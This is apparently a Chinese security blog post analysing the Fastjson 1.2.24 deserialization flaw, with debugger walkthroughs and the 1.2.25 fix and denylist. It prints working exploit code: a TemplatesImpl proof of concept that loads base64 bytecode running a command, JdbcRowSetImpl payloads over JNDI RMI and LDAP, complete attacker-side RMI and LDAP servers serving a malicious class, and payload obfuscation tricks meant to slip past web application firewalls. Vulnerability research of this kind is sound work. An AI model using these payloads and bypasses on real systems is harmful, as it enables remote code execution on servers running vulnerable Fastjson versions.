Java反序列化之Fastjson 1.2.24反序列化漏洞

发布于 2021-12-14  787 次阅读


Java反序列化之Fastjson 1.2.24反序列化漏洞


最近在学习Java反序列化的一些漏洞,因此来分析一下fastjson一开始爆出来的fastjson1.2.24反序列化漏洞。

Fastjson介绍

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。项目地址:https://github.com/alibaba/fastjson。漏洞公告的地址:https://github.com/alibaba/fastjson/wiki/security_update_20170315

Fastjson使用

pom.xml中添加依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

User类

package ccship.fastjson;

public class User {
    private String name;
    private int age;

    public User() {
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {

        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

序列化:JSON.toJSONString()

将对象序列化成Json字符串

FastJsonTest测试类

package ccship.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastJsonTest {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("cc");
        String s = JSON.toJSONString(user);
        System.out.println(s);

        s = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s);
    }
}

//运行的结果为
{"age":18,"name":"cc"}
{"@type":"ccship.fastjson.User","age":18,"name":"cc"}

其中SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,写上被序列化的类名,@type可以指定反序列化的类,并且调用其getter/setter等方法。

反序列化:JSON.parseObject()JSON.parse()

两种方法的区别是返回的对象类型有所不同

public static Object parse(String text) {
    return parse(text, DEFAULT_PARSER_FEATURE);
}

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject) obj;
    }

    return (JSONObject) JSON.toJSON(obj);
}

可以看到JSONObject方法会在执行parse的基础上多执行JSON.toJSON,作用是将返回的对象转化为parseObject类。如果反序列化的Json字符中没有指定@type,则两个返回的结果一样。

package ccship.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastJsonTest {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("cc");

        System.out.println("未设置@type");
        String s = JSON.toJSONString(user);
        System.out.println(s);
        Object parse = JSON.parse(s);
        System.out.println("通过parse反序列化的类名:"+parse.getClass().getName());
        JSONObject parseObject = JSON.parseObject(s);
        System.out.println("通过parseObject反序列化的类名:"+parseObject.getClass().getName());

        System.out.println("设置@type");
        s = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s);
        parse = JSON.parse(s);
        System.out.println("通过parse反序列化的类名:"+parse.getClass().getName());
        parseObject = JSON.parseObject(s);
        System.out.println("通过parseObject反序列化的类名:"+parseObject.getClass().getName());
    }
}
//输出结果
未设置@type
{"age":18,"name":"cc"}
通过parse反序列化的类名:com.alibaba.fastjson.JSONObject
通过parseObject反序列化的类名:com.alibaba.fastjson.JSONObject
设置@type
{"@type":"ccship.fastjson.User","age":18,"name":"cc"}
通过parse反序列化的类名:ccship.fastjson.User
通过parseObject反序列化的类名:com.alibaba.fastjson.JSONObject

但是我们可以通过在parseObject参数中传入类,从而达到和parse相同的效果

parseObject(input,Object.class) ), 发现此时也变成了User

User parseObject = JSON.parseObject(s,User.class);

@type

前面说过,当反序列化时,如果有指定@type,会自动调用类中的setter、getter、构造器

经典谈计算器

package ccship.fastjson;

import java.io.IOException;

public class Evil {
    private String cmd;

    public Evil(){

    }

    public void setCmd(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
        this.cmd = cmd;

    }

    public String getCmd() throws Exception{
        return this.cmd;
    }

    @Override
    public String toString() {
        return "Evil{" +
                "cmd='" + cmd + '\'' +
                '}';
    }
}
package ccship.fastjson;

import com.alibaba.fastjson.JSON;

public class FastJsonTest {
    public static void main(String[] args) throws Exception {
        String s = "{\"@type\":\"ccship.fastjson.Evil\",\"cmd\":\"calc\"}";
        JSON.parse(s);
    }
}

image-20211213193523993

自动调用getCmd

关于parse和parseObject具体的区别总结如下:

使用JSON.parse(jsonstr)JSON.parseObject(jsonstr, Object.class)两种方式时:

先调用setter,再调用getter

调用setter需要满足

  1. 方法名长度不能小于4
  2. 不能是静态方法
  3. 返回的类型必须是void 或者是自己本身
  4. 传入参数个数必须为1
  5. 方法开头必须是set

调用getter需要满足

  1. 方法名长度不小于4
  2. 不能是静态方法
  3. 方法名要get开头同时第四个字符串要大写
  4. 方法返回的类型必须继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
  5. 传入的参数个数需要为0
  6. getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter

JSON.parse(jsonstr)JSON.parseObject(jsonstr,Object.class)这两种方式执行的过程与结果是完全一致的。二者唯一的区别就是获取class参数的途径不同。

使用JSON.parseObject(jsonstr)

JSON.parseObject(jsonstr)返回值为JSONObject类对象,且反序列化类中的所有gettersetter都被调用。

以上的针对的是settergetter方法是public的,但是如果有时候遇到private的情况我们就不能进行反序列化了,会返回null

如果目标类中私有变量的settergetter方法是private的,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数。

parse(String text) parseObject(String text) parseObject(String text, Class\ clazz)
Setter调用情况 全部 全部 全部
Getter调用情况 部分 部分 全部

参考链接:https://paper.seebug.org/1274/#_5

Bybass Waf技巧

Unicode/Hex编码绕过

JSONLexerBase.scanSymbol方法中,用来处理json字符串的函数,部分关键部分代码如下:

case 'x':
    char x1 = ch = next();
    char x2 = ch = next();

    int x_val = digits[x1] * 16 + digits[x2];
    char x_char = (char) x_val;
    hash = 31 * hash + (int) x_char;
    putChar(x_char);
    break;
case 'u':
    char c1 = chLocal = next();
    char c2 = chLocal = next();
    char c3 = chLocal = next();
    char c4 = chLocal = next();
    int val = Integer.parseInt(new String(new char[] { c1, c2, c3, c4 }), 16);
    hash = 31 * hash + val;
    putChar((char) val);
    break;

当输入的字符是形如 \u 或者 \x 的情况下fastjson是会对其进行解码操作的(即fastjson支持字符串的Unicode编码和十六进制编码)

例如:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

编码:对字符串进行编码

{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}
利用FastJson智能匹配进行混淆绕过

FastJSON存在智能匹配的特性,即使JavaBean中的字段和JSON中的key并不完全匹配,在一定程度上还是可以正常解析的。主要是在JavaBeanDeserializer.smartMatch方法进行实现。假设当前UserBean的属性如下,可以利用智能匹配的特性,可以尝试使用如下方法对key进行混淆:

private String name;
private Integer age;
  • 使用-_进行混淆

  FastJSON会对JSON中没有成功映射JavaBeankey做智能匹配,在反序列的过程中会忽略大小写和下划线,会自动把下划线命名的Json字符串转化到驼峰式命名的Java对象字段中。
  查看1.2.24版本,部分关键部分代码如下,主要是在JavaBeanDeserializer.smartMatch方法:

if (fieldDeserializer == null) {
    boolean snakeOrkebab = false;
    String key2 = null;
    for (int i = 0; i < key.length(); ++i) {
        char ch = key.charAt(i);
        if (ch == '_') {
            snakeOrkebab = true;
            key2 = key.replaceAll("_", "");
            break;
        } else if (ch == '-') {
            snakeOrkebab = true;
            key2 = key.replaceAll("-", "");
            break;
        }
    }
    if (snakeOrkebab) {
        fieldDeserializer = getFieldDeserializer(key2);
        if (fieldDeserializer == null) {
            for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                    fieldDeserializer = fieldDeser;
                    break;
                }
            }
        }
    }
}

也就是说可以分别使用-_来对payload进行混淆:

例如:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

使用-混淆字段名:

{"@type":"com.sun.rowset.JdbcRowSetImpl","d_a_t_a_S_o_urceName":"rmi://localhost:1099/Exploit","autoCommit":true}

使用_混淆字段名:

{"@type":"com.sun.rowset.JdbcRowSetImpl","d-a-t-a-S-o-urceName":"rmi://localhost:1099/Exploit","autoCommit":true}

使用-_组合:

1.2.36版本及后续版本,对智能匹配方法进行了修改,部分具体代码如下,具体处理方法在TypeUtils.fnv1a_64_lower

public static long fnv1a_64_lower(String key)
{
    long hashCode = -3750763034362895579L;
    for (int i = 0; i < key.length(); i++)
    {
        char ch = key.charAt(i);
        if ((ch != '_') && (ch != '-'))
        {
            if ((ch >= 'A') && (ch <= 'Z')) {
                ch = (char)(ch + ' ');
            }
            hashCode ^= ch;
            hashCode *= 1099511628211L;
        }
    }
    return hashCode;
}

也就是说1.2.36版本及后续版本还可以支持同时使用_-进行组合混淆:

{"@type":"com.sun.rowset.JdbcRowSetImpl","d_a_t_a_S_o_u-r-c-eName":"rmi://localhost:1099/Exploit","autoCommit":true}
  • 使用is开头的key字段

Fastjson在做智能匹配时,如果key以is开头,则忽略is开头,相关代码如下:

int pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);
if ((pos < 0) && (key.startsWith("is")))
{
        smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
        pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);
}

绕过:

{"@type":"com.sun.rowset.JdbcRowSetImpl","isdataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

参考链接:https://sec-in.com/article/950

TemplatesImpl利用链

如果一个类中的Getter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。

CC2链中,使用了TemplatesImpl类,通过TemplatesImpl类中的getOutputProperties方法可实现加载任意字节码执行代码。其中getOutputProperties()方法为_outputProperties成员变量的getter方法。根据上面说的Bybass Waf,在寻找_outputPropertiesgetter方法时,程序将下划线置空,从而产生了成员变量_outputPropertiesgetter方法getOutputProperties()对应的形式。并且它没有实现对应的setter方法,如果要对其进行赋值的话,需要使用Feature.SupportNonPublicField参数

触发条件:input可控,并且设置为Feature.SupportNonPublicField

parseObject(input,Object.class,Feature.SupportNonPublicField)

parseObject(input,Feature.SupportNonPublicField)

parse(input,Feature.SupportNonPublicField)

POC:

package ccship.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class poc1 {
    public static String generateEvil() throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
        String EvilCode = Base64.getEncoder().encodeToString(code);
        System.out.println(EvilCode);
        return EvilCode;
    }
    public static void main(String[] args) throws Exception {
        final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evil = poc1.generateEvil();
        String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
        JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
    }
}
//Test.java
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

调试分析:

调用parseObject之后会调用parse方法

image-20211213225554335

跟进DefaultJSONParser,通过getCurrent获取第一个字符{。如果第一个字符是{ ,那么就将12赋值给lexer.token,如果为[,那么就将14赋值给lexer.token

image-20211213230439356

获取DefaultJSONParser之后回到parse方法中,,调用parser.parse();方法。

跟进到parse方法

image-20211213231340335

这里会判断token的值,也就是前面通过第一个字符{赋值为12。因此会调用parseObject,这里的JSONObject主要是实例化HashMap

image-20211213231832528

进入parseObject:

image-20211213232134726

这里同样会对token的值进行判断,最终进入到一个超长的for循环

image-20211213232507555

这个时候的ch已经为第二个字符"了。接着往下

image-20211213233251003

通过扫描字符scanSymbol,这里就实现了对字符的扫描。Unicode/Hex编码绕过就来着这里。扫描出来的key@type。读出key直接接着往下

image-20211213233813862

到这里就会读取@type的类名了,然后通过fastjson自己实现的TypeUtils类加载class。。

image-20211214095856148

自此会进入到367行的getDeserializer获取反序列化器,跟进。

跟进getDeserializer 方法后,发现会根据我们传入的typederializers中寻找对应的反序列化器。

derializers中存放着常见类和其对应的反序列化器(key-value形式),这里由于我们的typeObject.class所以是能够找到对应的反序列化器的,所以进入第一个if,直接返回找到的反序列化器。

位于getDeserializer的461行。寻找反序列化器时会走到这里,调用createJavaBeanDeserializer获取。

image-20211214100736266

跟进createJavaBeanDeserializer方法。在526行根据build获取JavaBean的信息

image-20211214101132245

这里就是通过反射获取setter、getter。并指需要满足哪些要求。上面已经总结过了。

例如这里获取到了getOutputProperties

image-20211214101755712

获取反序列化器之后放入Map后返回derializer

image-20211214102124870

现在开始调用deserializer.deserialze来利用上面获取到的反序列化器来反序列化我们传入的类。

跟进,又是一个很长很长的方法。跟到570行这里会对类进行实例化

image-20211214102812195

接下来就是对参数进行解析,跟进parseField方法

image-20211214103424949

在该方法中利用smartMatch对我们传入的属性进行了模糊匹配。这里就是上面的利用FastJson智能匹配进行混淆绕过所说的,也是能够通过_outputProperties获取对应的getter:getOutputProperties()

随后再次调用parseField,对属性进行反序列化,将反序列化后的值赋值给value,然后进入setValue

image-20211214103826689

跟进后往下走,会调用setValue

image-20211214110008532

进入之后会对我们的值进行处理。

image-20211214111845586

如果是字节数组的话会进行解码操作。

image-20211214112112417

image-20211214112206286

这里进行了base64解码,这也是为什么我们传入的字节码_bytecodes需要base64编码了。

image-20211214110315108

这里整个过程会依次循环获取JSON变量的值,获取成员变量,调用setter、getter,如果方法存在则会进入此if。这里我已经调到了keygetOutputProperties

image-20211214110637820

通过反射invoke调用了getOutputProperties方法

image-20211214110951869

后面就不跟了,CC2链的流程大家都很清楚了

总结问题:

为什么需要对_bytecodes进行Base64编码

因为Fastjson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对_bytecodes字段进行Base64加密处理。其中FastjsonObjectArrayCodec.deserialze()函数中会调用lexer.bytesValue()byte数组进行处理。上面已经分析过了。

为什么需要设置_tfactory为{}

getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()函数是用于生成Java类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()方法,若_tfactory为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用。因此需要传入值。那这里传入空为什么可以?

fastjson中,JavaBeanDeserializer类的deserialze,627行进行了处理,会对值进行判断,如果为空的话,会根据类属性定义的类型自动创建实例

image-20211214112953719

关联_outputProperties与getOutputProperties()方法

Fastjson会语义分析JSON字符串,根据字段key,调用fieldList数组中存储的相应方法进行变量初始化赋值。

具体的代码在JavaBeanDeserializer.parseField()中,其中调用了smartMatch()方法:

JavaBeanDeserializer.smartMatch()方法中,会替换掉字段key中的_,从而使得_outputProperties变成了outputProperties。上面已经说明原因。

JdbcRowSetImpl利用链

由于之前对TemplatesImpl分析的很详细了。因此这里就不在进行调试了。基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMIJNDI+LDAP,都是属于基于Bean Property类型的JNDI的利用方式。具体JNDI注入就不在分析了。

限制

由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191

JNDI+RMI POC

POC:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}

@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为truefalse等布尔值类型:

JNDIServer.javaRMI服务,注册表绑定了Exploit服务,该服务是指向恶意Exploit.class文件所在服务器的Reference

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://127.0.0.1:8000/Exploit.class即可
        Reference reference = new Reference("Exloit",
                "Exploit","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

Exploit.java,恶意类,单独编译成class文件并放置于RMI服务指向的三方Web服务中。

public class Exploit{
    public Exploit() {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

JdbcRowSetImplPoc.java

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

JNDI+LDAP POC

POC如下,跟RMI的相比只是改了URL而已:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

但是相比RMI的利用方式,优势在于JDK的限制更低了。

LdapServer.java,区别在于将之前的RMI服务端换成LDAP服务端:

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#Exploit";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Exploit.java不变。

JdbcRowSetImplPoC.java中修改payload中的dataSourceName的值为指向LDAP服务端地址即可:

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";

JdbcRowSetImpl链分析

由于会自动调用setter方法,而这里用到了两个变量。所有直接看setDataSourceName、setAutoCommit

image-20211214115924117

先调用setDataSourceNamedataSource赋值,然后调用setAutoCommit

image-20211214120019317

调用connect

image-20211214120050365

可以看到在connect中使用JNDI,并且lookup方法传入的参数可控,就是我们传入的dataSource,所以此处远程加载了我们HTTP服务上的恶意class

fastjson 1.2.24 修复

修复链接:

https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5

DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass方法替换为了this.config.checkAutoType()方法

image-20211214130836843

checkAutoType()

pom.xml中的依赖改成1.2.25

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

再运行TemplatesImpl的利用链,出现异常,autoType不支持此方法。

image-20211214131227997

看下修改的地方,新增的checkAutoType中,利用了白名单+黑名单的机制

image-20211214131809837

同时增加了黑名单, 在黑名单中扩充了很多类

image-20211214131957851

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

默认情况下,autoTypeSupportFalse,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。

autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。

简单地说,checkAutoType()方法就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)。

autoTypeSupport

autoTypeSupportcheckAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupportFalse,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

参考链接:

http://wjlshare.com/archives/1512

https://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#checkAutoType

https://paper.seebug.org/1274/#_5

https://sec-in.com/article/950


沙上有印,光中有影!